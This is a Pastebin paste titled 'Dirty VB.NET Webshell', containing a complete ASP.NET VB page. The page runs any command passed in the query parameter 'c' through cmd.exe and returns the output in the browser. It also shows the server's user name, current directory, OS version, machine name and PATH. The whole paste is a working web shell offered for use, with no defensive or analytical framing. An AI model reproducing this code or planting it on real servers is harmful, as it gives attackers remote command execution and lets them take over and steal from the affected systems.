Advertisement
felmoltor

Dirty VB.NET Webshell

Sep 10th, 2014
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.05 KB | None | 0 0
  1. <%@ Page Language="VB" %>
  2. <%
  3.  
  4. Dim cmd As String = ""
  5. InputCmd.Text = cmd
  6.  
  7. If Request.QueryString IsNot Nothing And Request.QueryString("c") IsNot Nothing Then
  8.     cmd = Request.QueryString("c").ToString()
  9.     InputCmd.Text = cmd
  10.     CommandOutput.Text = ""
  11.     Dim r = Shell("cmd.exe /c " & cmd & " > .\cmdoutput.out")
  12.    
  13.     if (r = 5) then
  14.         CommandOutput.Text = "There was a problem with the arguments provided..."
  15.     Else if (r = 53) then
  16.         CommandOutput.Text = "I couln't find the file you are requesting..."   
  17.     else if (r = 91) then
  18.         CommandOutput.Text = "There is no path at all!"
  19.     else
  20.         Dim read As System.IO.StreamReader
  21.         read = System.IO.File.OpenText(".\cmdoutput.out")
  22.         Do Until read.EndOfStream
  23.             CommandOutput.Text += read.ReadLine & vbCrLf
  24.         Loop
  25.         read.Close()
  26.     End If
  27.    
  28.     If System.IO.File.Exists(".\cmdoutput.out") = True Then
  29.         System.IO.File.Delete(".\cmdoutput.out")
  30.     End If
  31. End If
  32.  
  33. CurrentUserE.Text = System.Environment.UserName
  34. CurrentUserM.Text = My.User.Name
  35. CurrentDirectory.Text = System.Environment.CurrentDirectory
  36. OSVersion.Text = System.Environment.OSVersion.ToString()
  37. ComputerName.Text = System.Environment.MachineName
  38. CmdPath.Text = System.Environment.GetEnvironmentVariable("PATH").ToString()
  39.  
  40. %>
  41.  
  42. <html>
  43. <head>
  44. <title>Sysdetails</title>
  45. </head>
  46. <body bgcolor="#000000" text="#729f81">
  47.  
  48.     <b>Current User: </b><asp:label id="CurrentUserE" runat="server" /><br/>
  49.     <b>Current User: </b><asp:label id="CurrentUserM" runat="server" /><br/>
  50.     <b>Current Directory: </b><asp:label id="CurrentDirectory" runat="server" /><br/>
  51.     <b>Computer OS Version: </b><asp:label id="OSVersion" runat="server" /><br/>
  52.     <b>Computer Name: </b><asp:label id="ComputerName" runat="server" /><br/>
  53.     <b>CMD Path: </b><asp:label id="CmdPath" runat="server" /><br/>
  54.  
  55.     <hr/>
  56.     <form id="formCommandOutput" runat="server">
  57.         <div id="CommandOutput">
  58.             <b>Result of <asp:label id="InputCmd" runat="server" />:</b><br/>
  59.             <asp:TextBox id="CommandOutput" runat="server" TextMode="multiline" Columns="150" Rows="30"/>
  60.         </div>
  61.     </form>
  62. </body>
  63. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement